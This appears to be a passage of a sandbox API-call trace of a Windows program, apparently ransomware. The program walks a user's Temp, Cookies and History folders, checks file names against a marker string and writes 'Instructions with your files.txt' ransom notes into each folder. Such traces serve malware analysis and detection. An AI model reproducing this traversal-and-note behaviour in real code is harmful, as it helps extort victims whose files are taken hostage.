[0130.822] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xed0fc650, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1
[0130.822] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\index.dat") returned 70
[0130.822] StrStrIW (lpFirst="index.dat", lpSrch="SDfghjkl") returned 0x0
[0130.823] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xed0fc650, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 0
[0130.823] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\Instructions with your files.txt") returned 93
[0130.823] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Cookies\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\cookies\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0130.823] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0130.824] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0130.824] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0130.824] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0130.824] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0130.824] CloseHandle (hObject=0x118) returned 1
[0130.824] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0130.824] GetProcessHeap () returned 0x810000
[0130.824] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x855bc8 | out: hHeap=0x810000) returned 1
[0130.824] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6804bf20, ftCreationTime.dwHighDateTime=0x1d5b8c4, ftLastAccessTime.dwLowDateTime=0x646903d0, ftLastAccessTime.dwHighDateTime=0x1d5c3d2, ftLastWriteTime.dwLowDateTime=0x646903d0, ftLastWriteTime.dwHighDateTime=0x1d5c3d2, nFileSizeHigh=0x0, nFileSizeLow=0x9e92, dwReserved0=0x0, dwReserved1=0x0, cFileName="ctwn5u53.m4a", cAlternateFileName="")) returned 1
[0130.824] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\ctwn5u53.m4a") returned 65
[0130.824] StrStrIW (lpFirst="ctwn5u53.m4a", lpSrch="SDfghjkl") returned 0x0
[0130.824] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xddcbf760, ftCreationTime.dwHighDateTime=0x1d5c5fc, ftLastAccessTime.dwLowDateTime=0xf965b0, ftLastAccessTime.dwHighDateTime=0x1d5b649, ftLastWriteTime.dwLowDateTime=0xf965b0, ftLastWriteTime.dwHighDateTime=0x1d5b649, nFileSizeHigh=0x0, nFileSizeLow=0xbcb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="D6P78.flv", cAlternateFileName="")) returned 1
[0130.824] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\D6P78.flv") returned 62
[0130.824] StrStrIW (lpFirst="D6P78.flv", lpSrch="SDfghjkl") returned 0x0
[0130.824] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc3301260, ftCreationTime.dwHighDateTime=0x1d5b689, ftLastAccessTime.dwLowDateTime=0x8d770e0, ftLastAccessTime.dwHighDateTime=0x1d5bc9a, ftLastWriteTime.dwLowDateTime=0x8d770e0, ftLastWriteTime.dwHighDateTime=0x1d5bc9a, nFileSizeHigh=0x0, nFileSizeLow=0x7f77, dwReserved0=0x0, dwReserved1=0x0, cFileName="ewxwr6lB_w78A0bWQ2eo.m4a", cAlternateFileName="EWXWR6~1.M4A")) returned 1
[0130.825] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\ewxwr6lB_w78A0bWQ2eo.m4a") returned 77
[0130.825] StrStrIW (lpFirst="ewxwr6lB_w78A0bWQ2eo.m4a", lpSrch="SDfghjkl") returned 0x0
[0130.825] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xad91f3d0, ftCreationTime.dwHighDateTime=0x1d5c122, ftLastAccessTime.dwLowDateTime=0x3df105f0, ftLastAccessTime.dwHighDateTime=0x1d5c020, ftLastWriteTime.dwLowDateTime=0x3df105f0, ftLastWriteTime.dwHighDateTime=0x1d5c020, nFileSizeHigh=0x0, nFileSizeLow=0xa8e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="fjkYAb.mkv", cAlternateFileName="")) returned 1
[0130.825] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\fjkYAb.mkv") returned 63
[0130.825] StrStrIW (lpFirst="fjkYAb.mkv", lpSrch="SDfghjkl") returned 0x0
[0130.825] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe2897a20, ftCreationTime.dwHighDateTime=0x1d5bb61, ftLastAccessTime.dwLowDateTime=0xa0ed41d0, ftLastAccessTime.dwHighDateTime=0x1d5b58c, ftLastWriteTime.dwLowDateTime=0xa0ed41d0, ftLastWriteTime.dwHighDateTime=0x1d5b58c, nFileSizeHigh=0x0, nFileSizeLow=0x1331, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRkFB.ppt", cAlternateFileName="")) returned 1
[0130.825] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FRkFB.ppt") returned 62
[0130.825] StrStrIW (lpFirst="FRkFB.ppt", lpSrch="SDfghjkl") returned 0x0
[0130.825] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x207eb100, ftCreationTime.dwHighDateTime=0x1d5bc35, ftLastAccessTime.dwLowDateTime=0xe08d46c0, ftLastAccessTime.dwHighDateTime=0x1d5bf58, ftLastWriteTime.dwLowDateTime=0xe08d46c0, ftLastWriteTime.dwHighDateTime=0x1d5bf58, nFileSizeHigh=0x0, nFileSizeLow=0x18408, dwReserved0=0x0, dwReserved1=0x0, cFileName="fsB5zMlO.png", cAlternateFileName="")) returned 1
[0130.825] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\fsB5zMlO.png") returned 65
[0130.825] StrStrIW (lpFirst="fsB5zMlO.png", lpSrch="SDfghjkl") returned 0x0
[0130.825] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x33d9ad10, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x33d9ad10, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FXSAPIDebugLogFile.txt", cAlternateFileName="FXSAPI~1.TXT")) returned 1
[0130.825] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt") returned 75
[0130.825] StrStrIW (lpFirst="FXSAPIDebugLogFile.txt", lpSrch="SDfghjkl") returned 0x0
[0130.825] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1dc442f0, ftCreationTime.dwHighDateTime=0x1d5bf09, ftLastAccessTime.dwLowDateTime=0x86331c60, ftLastAccessTime.dwHighDateTime=0x1d5bd44, ftLastWriteTime.dwLowDateTime=0x86331c60, ftLastWriteTime.dwHighDateTime=0x1d5bd44, nFileSizeHigh=0x0, nFileSizeLow=0x15253, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ge79jkf55QUo1Du.bmp", cAlternateFileName="GE79JK~1.BMP")) returned 1
[0130.825] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\Ge79jkf55QUo1Du.bmp") returned 72
[0130.825] StrStrIW (lpFirst="Ge79jkf55QUo1Du.bmp", lpSrch="SDfghjkl") returned 0x0
[0130.825] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97fe0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97fe0a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1
[0130.825] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History") returned 60
[0130.825] GetProcessHeap () returned 0x810000
[0130.825] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x855bc8
[0130.825] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\*") returned 62
[0130.825] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97fe0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97fe0a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0130.827] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\.") returned 62
[0130.827] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0130.827] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97fe0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97fe0a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.827] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\..") returned 63
[0130.827] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0130.827] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97fe0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97fe0a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="History.IE5", cAlternateFileName="")) returned 1
[0130.827] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5") returned 72
[0130.827] GetProcessHeap () returned 0x810000
[0130.827] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x865bd0
[0130.827] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\*") returned 74
[0130.827] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97fe0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97fe0a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0130.828] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\.") returned 74
[0130.828] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0130.828] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97fe0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97fe0a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.828] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\..") returned 75
[0130.828] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0130.828] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97fe0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd9824200, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0130.828] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\desktop.ini") returned 84
[0130.828] StrStrIW (lpFirst="desktop.ini", lpSrch="SDfghjkl") returned 0x0
[0130.828] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97fe0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xed0fc650, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1
[0130.828] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\index.dat") returned 82
[0130.828] StrStrIW (lpFirst="index.dat", lpSrch="SDfghjkl") returned 0x0
[0130.828] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97fe0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xed0fc650, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 0
[0130.828] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\Instructions with your files.txt") returned 105
[0130.828] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\History.IE5\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\history\\history.ie5\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0130.828] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0130.829] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0130.829] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0130.829] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0130.829] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0130.830] CloseHandle (hObject=0x11c) returned 1
[0130.830] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0130.830] GetProcessHeap () returned 0x810000
[0130.830] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x865bd0 | out: hHeap=0x810000) returned 1
[0130.830] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97fe0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97fe0a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="History.IE5", cAlternateFileName="")) returned 0
[0130.830] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\Instructions with your files.txt") returned 93
[0130.830] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\History\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\history\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0130.830] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0130.831] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0130.831] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0130.831] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0130.831] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0130.831] CloseHandle (hObject=0x118) returned 1
[0130.831] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0130.831] GetProcessHeap () returned 0x810000
[0130.831] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x855bc8 | out: hHeap=0x810000) returned 1
[0130.832] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x885ea60, ftCreationTime.dwHighDateTime=0x1d5b748, ftLastAccessTime.dwLowDateTime=0xada13b00, ftLastAccessTime.dwHighDateTime=0x1d5b7eb, ftLastWriteTime.dwLowDateTime=0xada13b00, ftLastWriteTime.dwHighDateTime=0x1d5b7eb, nFileSizeHigh=0x0, nFileSizeLow=0x57bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="J-ZMt.gif", cAlternateFileName="")) returned 1
[0130.832] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\J-ZMt.gif") returned 62
[0130.832] StrStrIW (lpFirst="J-ZMt.gif", lpSrch="SDfghjkl") returned 0x0
[0130.832] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xffc404a0, ftCreationTime.dwHighDateTime=0x1d5be38, ftLastAccessTime.dwLowDateTime=0x9de73d30, ftLastAccessTime.dwHighDateTime=0x1d5c0a2, ftLastWriteTime.dwLowDateTime=0x9de73d30, ftLastWriteTime.dwHighDateTime=0x1d5c0a2, nFileSizeHigh=0x0, nFileSizeLow=0x6748, dwReserved0=0x0, dwReserved1=0x0, cFileName="ldcdl0yxErHyA-2.mp3", cAlternateFileName="LDCDL0~1.MP3")) returned 1
[0130.832] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\ldcdl0yxErHyA-2.mp3") returned 72
[0130.832] StrStrIW (lpFirst="ldcdl0yxErHyA-2.mp3", lpSrch="SDfghjkl") returned 0x0
[0130.832] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf233bff0, ftCreationTime.dwHighDateTime=0x1d5bbff, ftLastAccessTime.dwLowDateTime=0xce590280, ftLastAccessTime.dwHighDateTime=0x1d5c0ae, ftLastWriteTime.dwLowDateTime=0xce590280, ftLastWriteTime.dwHighDateTime=0x1d5c0ae, nFileSizeHigh=0x0, nFileSizeLow=0x13df0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LNhdUrdB4Qcj OEFDPG.odt", cAlternateFileName="LNHDUR~1.ODT")) returned 1
